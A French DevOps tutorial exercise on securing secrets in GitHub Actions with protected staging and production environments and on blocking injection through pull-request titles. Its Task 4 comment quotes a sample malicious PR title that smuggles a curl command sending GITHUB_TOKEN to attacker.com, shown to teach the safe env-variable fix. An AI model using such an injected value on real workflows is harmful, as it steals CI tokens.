DevOpsFacile
AccueilParcours de formationCertificationsModulesCheat SheetÀ Propos
DevOpsFacile

Une plateforme d'apprentissage complète pour maîtriser les pratiques DevOps modernes, du débutant à l'expert.

contact@devopsfacile.fr

Formation

  • Parcours de formation
  • Modules

Informations

  • À Propos
  • Conditions d'utilisation
  • Confidentialité
  • Mentions légales

© 2026 DevOps Facile. Tous droits réservés.

Fait avec pour la communauté DevOps

ModulesSécurité DevOps - Intermédiaire04 - Gérer les secrets dans GitHub Actions avec les environnements

Détails

  • 30 minutes
  • Intermédiaire

Objectifs

  • Créer et utiliser des secrets GitHub Actions de façon sécurisée
  • Comprendre la portée des secrets (repo, environment, organization)
  • Configurer des environnements GitHub avec règles de protection
  • Éviter les fuites de secrets dans les logs et les PR de forks
Module Sécurité DevOps - Intermédiaire

Exercice 04 : Gérer les secrets dans GitHub Actions avec les environnements

🎯 Objectifs

À la fin de cet exercice, vous serez capable de :

  • ✅ Créer des secrets repository et les utiliser dans un workflow
  • ✅ Créer des environnements GitHub (staging, production) avec protection
  • ✅ Restreindre les secrets sensibles à certains environnements
  • ✅ Protéger contre les fuites de secrets dans les logs
  • ✅ Sécuriser les workflows contre les injections dans les pull requests de forks

Durée estimée : 30 minutes

Difficulté : ⭐⭐☆☆☆ (Intermédiaire)

Prérequis : Compte GitHub avec un repository


📖 Contexte

GitHub Actions masque automatiquement les valeurs des secrets dans les logs. Mais il existe plusieurs pièges : un secret accessible dans un contexte non protégé peut fuir via une PR malveillante d'un fork, un echo dans un script, ou une injection dans le titre d'une PR.

La gestion correcte des secrets dans GitHub Actions repose sur trois principes :

  1. Principe du moindre privilège : un secret ne doit être accessible que là où il est nécessaire
  2. Environnements protégés : les secrets de production ne sont disponibles qu'après une approbation manuelle
  3. Défense contre les injections : ne jamais interpoler directement un input GitHub dans une commande shell

📋 Énoncé

Configurez une gestion sécurisée des secrets avec des environnements GitHub protégés.


🧭 Déroulement de l'exercice

Tâche 1 : Créer des secrets repository

Dans votre repository GitHub :

  1. Settings → Secrets and variables → Actions
  2. Cliquez sur New repository secret
  3. Créez les secrets suivants :
  • DOCKER_USERNAME : votre username Docker Hub
  • DOCKER_PASSWORD : un access token Docker Hub (pas votre mot de passe)

Bonne pratique : Toujours utiliser des access tokens avec portée limitée plutôt que des mots de passe. Pour Docker Hub : Account Settings → Security → New Access Token (permission: Read, Write).

Vérification : Les 2 secrets apparaissent dans Settings → Secrets (les valeurs sont masquées par des ***).


Tâche 2 : Créer des environnements protégés

  1. Settings → Environments → New environment
  2. Créez l'environnement staging :
  • Pas de protection particulière
  • Ajoutez un secret DATABASE_URL avec la valeur postgres://staging-db/myapp
  1. Créez l'environnement production :
  • Cochez Required reviewers et ajoutez votre username
  • Cochez Wait timer : 5 minutes (délai avant déploiement auto)
  • Ajoutez un secret DATABASE_URL avec la valeur postgres://prod-db/myapp

Indice : Les secrets d'environnement écrasent les secrets repository du même nom. DATABASE_URL en staging pointe vers la base de staging, en production vers la base de production. Le workflow utilise la même variable ${{ secrets.DATABASE_URL }} mais obtient une valeur différente selon l'environnement.


Tâche 3 : Workflow avec gestion d'environnements

bash
mkdir -p .github/workflows
cat > .github/workflows/deploy.yml << 'EOF'
name: Deploy

on:
  push:
    branches:
      - main    # → staging
      - release # → production

jobs:
  deploy-staging:
    name: Déployer en staging
    runs-on: ubuntu-latest
    environment: staging  # Active les secrets de l'environnement staging
    if: github.ref == 'refs/heads/main'

    steps:
      - uses: actions/checkout@v4

      - name: Connexion Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}

      - name: Afficher la DB (masqué automatiquement)
        run: |
          echo "Déploiement vers staging..."
          # ✅ Correct : GitHub masque ${{ secrets.DATABASE_URL }} dans les logs
          echo "DB URL configurée : ${{ secrets.DATABASE_URL }}"
          # La sortie sera : "DB URL configurée : ***"

      - name: Déploiement
        run: echo "Déployé en staging avec succès"
        env:
          # ✅ Bonne pratique : passer les secrets via env vars
          DB_URL: ${{ secrets.DATABASE_URL }}

  deploy-production:
    name: Déployer en production
    runs-on: ubuntu-latest
    environment: production  # Requiert approbation manuelle !
    if: github.ref == 'refs/heads/release'
    needs: []  # Ne dépend pas de staging pour cet exemple

    steps:
      - uses: actions/checkout@v4

      - name: Connexion Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}

      - name: Déploiement production
        run: echo "Déployé en production"
        env:
          DB_URL: ${{ secrets.DATABASE_URL }}
EOF

Tâche 4 : Défense contre les injections

Voici un exemple de vulnérabilité d'injection et sa correction :

bash
cat > .github/workflows/pr-check.yml << 'EOF'
name: PR Check

on:
  pull_request:
    types: [opened, edited, synchronize]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # ❌ DANGEREUX : injection possible si le titre de PR contient du shell
      # Exemple malveillant : titre de PR = "'; curl attacker.com/steal?token=$GITHUB_TOKEN; #"
      # - name: Mauvaise pratique
      #   run: echo "PR Title: ${{ github.event.pull_request.title }}"

      # ✅ CORRECT : passer via une variable d'environnement (pas d'interpolation shell)
      - name: Afficher le titre de PR de façon sécurisée
        run: echo "PR Title: $PR_TITLE"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}

      # ✅ CORRECT : vérifier les permissions avant d'accéder aux secrets
      - name: Tests unitaires (sans secrets sensibles)
        run: echo "Tests passés"

      # Les secrets de production NE SONT PAS accessibles dans les PRs
      # car le workflow tourne dans le contexte du fork (pas de secrets)
EOF

Règle d'or : Ne jamais utiliser ${{ github.event.* }} directement dans run:. Toujours passer par une variable d'environnement. L'interpolation ${{ }} est résolue avant l'exécution du shell, ce qui permet l'injection de commandes.


Tâche 5 : Bloquer les secrets dans les PRs de forks

Configurez les permissions pour les pull requests de forks :

  1. Settings → Actions → General
  2. Dans "Fork pull request workflows" :
  • Sélectionnez "Require approval for first-time contributors"
  • Cela évite que des forks malveillants accèdent aux secrets en CI
  1. Pour les workflows qui tournent sur des PRs de forks, utilisez l'événement pull_request_target avec précaution (il a accès aux secrets mais tourne dans le contexte du repo cible, pas du fork).
bash
git add .github/workflows/
git commit -m "ci: workflow deploy avec environnements et protection secrets"
git push

✅ Vérification du résultat

  • Les secrets DOCKER_USERNAME et DOCKER_PASSWORD sont créés
  • L'environnement production requiert une approbation manuelle
  • Le workflow deploy.yml utilise environment: pour les jobs
  • Le workflow pr-check.yml passe les inputs via env: (pas en inline)
  • Le push déclenche le workflow et les jobs apparaissent dans Actions

💡 À retenir

Hiérarchie des secrets :

Organization secrets (tous les repos)
  └─ Repository secrets (ce repo)
       └─ Environment secrets (staging / production)
            (les environment secrets écrasent les repository secrets)

Anti-patterns à éviter :

yaml
# ❌ Injection possible
run: echo "${{ github.event.pull_request.title }}"

# ✅ Sécurisé
run: echo "$TITLE"
env:
  TITLE: ${{ github.event.pull_request.title }}

✨ Solution Complète

yaml
# Workflow avec environnement protégé
jobs:
  deploy:
    environment: production  # Déclenche l'approbation manuelle
    steps:
      - name: Déployer
        run: ./deploy.sh
        env:
          DB_URL: ${{ secrets.DATABASE_URL }}  # Passer via env, jamais inline
Retour au module

Sur cette page

  • 🎯 Objectifs
  • 📖 Contexte
  • 📋 Énoncé
  • 🧭 Déroulement de l'exercice
  • Tâche 1 : Créer des secrets repository
  • Tâche 2 : Créer des environnements protégés
  • Tâche 3 : Workflow avec gestion d'environnements
  • Tâche 4 : Défense contre les injections
  • Tâche 5 : Bloquer les secrets dans les PRs de forks
  • ✅ Vérification du résultat
  • 💡 À retenir
  • ✨ Solution Complète